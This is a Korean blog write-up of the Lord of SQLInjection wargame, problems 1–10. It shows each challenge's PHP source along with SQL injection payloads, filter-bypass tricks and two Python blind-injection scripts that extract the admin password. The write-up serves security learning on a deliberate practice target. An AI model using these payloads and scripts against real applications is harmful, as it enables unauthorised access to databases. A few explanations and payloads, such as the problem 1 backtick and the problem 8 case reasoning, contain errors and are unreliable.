[LOS] 1-10번 문제 풀이

5 분 소요

💡 los.rubiya.kr 1-10번 문제에 대한 풀이입니다.

1번

문제

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?>

풀이

인젝션 해야 하는 쿼리문은 아래의 쿼리문 입니다.

select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'

id,pw에 아무런 필터링이 걸려있지 않으므로 다음과 같이 pw를 보내면 됩니다.

pw = ` or 1#

2번

문제

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

풀이

이번 문제는 pw부분으로 인자값을 보내면, md5해시의 매개변수로 들어가서 pw부분은 인젝션을 시도하기에 적절하진 않습니다. id 부분을 이용해서 인젝션을 수행해 줍니다.

id = ' or id='admin'#

image

3번

문제

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

풀이

이번에 인젝션을 시도하는 쿼리문은 아래의 쿼리문 입니다.

select id from prob_goblin where id='guest' and no={$_GET[no]}

no 값은 문자열이 아니기 때문에 기본적으로 '를 이용하지 않아도 됩니다. 현재 문제에서 no에 필터링이 걸려있는 문자는 (‘) , (“), (`) 입니다.

우선 no = 1 or 1로 테이블 내의 모든 데이터들이 출력되도록 해줍니다.

image

admin이 나와야 하는데, guest 값이 테이블 내에서 admin보다 먼저 출력이 됩니다. 단순하게 order by로 admin이 먼저 출력되게 해줍니다.

no=1 or 1 order by id

image

4번

문제

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello admin</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 
  highlight_file(__FILE__); 
?>

풀이

4번 문제는 이전 문제들과 다른 부분은 아래에 추가된 검증 부분입니다.

$_GET[pw] = addslashes($_GET[pw]); // pw에 addslashes가 적용되어 injection 힘듬
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; // db에서 admin 계정과 정확한 pw를 입력하여 pw를 가져옴
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");// db에서 나온 pw와 사용자로부터 받은 pw 값이 일치해야 함 

마지막에 사용자로부터 받은 비밀번호 입력값과, DB에서 pw 결과값을 한번 더 검증 하기 때문에 이부분은 injection으로 통과할 수 없습니다. 따라서 이번 문제는 pw 값을 알아내서 직접 pw값을 입력해야 합니다.

pw 값을 알아내기 위해서 blind sql injection을 수행하며, 따로 필터링 되는 부분이 없기 때문에 다음의 코드로 쉽게 pw를 얻을 수 있습니다.

import requests
import string

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
# 자신의 쿠키 값 입력해줘야 함
cookies = {
    'PHPSESSID' : 'nc39vn3k5l9dspn7mr23h9ugue'
}
params = {
    'pw': None
}

# 비밀번호 길이 구하기
for i in range(9):
    payload= "' or (id='admin' and length(pw)={})-- ".format(i)
    params['pw'] = payload
    response = requests.get(url,params=params,cookies=cookies)
    if("Hello admin" in response.text):
        print(params)

# 
answer = ''
for i in range(1,9):
    for j in string.printable:
        payload = "' or (id='admin' and ascii(substr(pw,{0},1)) = {1})-- ".format(i,ord(j))
        params['pw'] = payload
        response = requests.get(url,params=params,cookies=cookies)
        if("Hello admin" in response.text):
            answer +=j
            print(payload)
            break

print(answer)

코드 실행결과 비밀번호인 095a9852를 알아낼 수 있습니다.

image

image

5번

문제

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

풀이

문제를 보면 1번문제와 인젝션 해야 하는 부분이 동일하지만, 이번 문제에서는 pw에 공백 필터링이 걸려있습니다. 이를 우회하여서 인젝션을 수행해 줍니다.

1번 문제에서는 인젝션 구문을 다음과 같이 작성해서 인젝션을 수행했었습니다.

pw=' or id='admin'#

5번 문제는 공백의 필터링이 있기 때문에 약간의 변형이 필요합니다.

우선 필터링을 보면 아스키코드로 0x20인 스페이스 문자만 필터링을 하고 있습니다. sql 인젝션에서는 이를 우회하기 위해서 통상 다음의 문자들을 이용해서 공백의 우회가 가능합니다.

  1. Tab : %09
  2. Line Feed : %0a
  3. Vertical Tab : %0b
  4. Form Feed : %0c
  5. Carriage Regurn : %0d
  6. 괄호 ()

따라서 다음과 같이 바꿔주면 됩니다.

pw='%09or%09id='admin'#

image

아니면 or 대신에 띄어쓰기가 필요없는 || 연산자로 처리해 줘도 됩니다.

pw='||id='admin'#

image

6번

문제

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

풀이

5번 문제 풀이에서도 다뤘지만, or 문자열 자체를 필터링 하고 있기 때문에 연산자인 || 를 이용하여 필터링을 우회해 줍니다.

pw='||id='admin'#

image

7번

문제

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

풀이

blind sql injection을 이용하여 비밀번호를 얻어야 하는데, 이번에는 or , and 문자열이 필터링 되어 있습니다. 5,6번 문제와 동일하게 or,and 문자열로 필터링을 진행할 때는 동일한 연산자인 ||&&를 이용하면 됩니다.

다음과 같이 blind sql injection을 수행해 줍니다.

import requests
import string

cookies = {'PHPSESSID' :'nc39vn3k5l9dspn7mr23h9ugue'}
params = {'pw' : None}
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"

answer = ''
for i in range(1,9):
    for j in string.printable:
        payload = "' || (id='admin' && ascii(substr(pw,{},1))={})#".format(i,ord(j))
        params['pw'] = payload
        response = requests.get(url,params=params,cookies=cookies)
        if("Hello admin" in response.text):
            print(payload)
            answer += j
            break
print(answer)

비밀번호는 7b751aac입니다.

image

8번

문제

<?php  
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match("/admin/", $_GET[id])) exit("HeHe");
  $query = "select id from prob_troll where id='{$_GET[id]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id'] == 'admin') solve("troll");
  highlight_file(__FILE__);
?>

풀이

필터링 조건은 2개 입니다.

  1. id에 를 입력할 수 없다
  2. admin문자를 입력할 수 없다.

우선 sql injection을 할 때 가장 중요한 가 필터링 되어 있기 때문에 다른 명령어를 이용하는 방법은 원천적으로 불가능 합니다. 하지만 이때, preg_match 함수는 문자열의 동등 비교를 할 때, 대소문자 구분을 하지 않습니다. 따라서 id=Admin을 입력하면 필터링이 우회가 됩니다.

id=Admin

image

9번

문제

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~");
  $_GET[id] = strtolower($_GET[id]);
  $_GET[id] = str_replace("admin","",$_GET[id]); 
  $query = "select id from prob_vampire where id='{$_GET[id]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("vampire"); 
  highlight_file(__FILE__); 
?>

풀이

8번 문제에서 살짝 변형을 했습니다. 이번에는 id 입력 값에서 소문자로 변환 후에, str_replace 함수를 통해서 admin -> 공백으로 문자열 변환을 시킵니다.

이 부분은 adadminmin과 같이 입력을 한다면 1차 필터링에서 가운데 있는 admin만 사라지게 되어서 결과가 admin이 됩니다.

id=adadminmin

image

10번

문제

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

풀이

이 문제는 무얼 의도한건진 잘 모르겠는데 다음과 같이 평범하게 인젝션을 해주면 풀립니다.

pw=' or id='admin'#

image

댓글남기기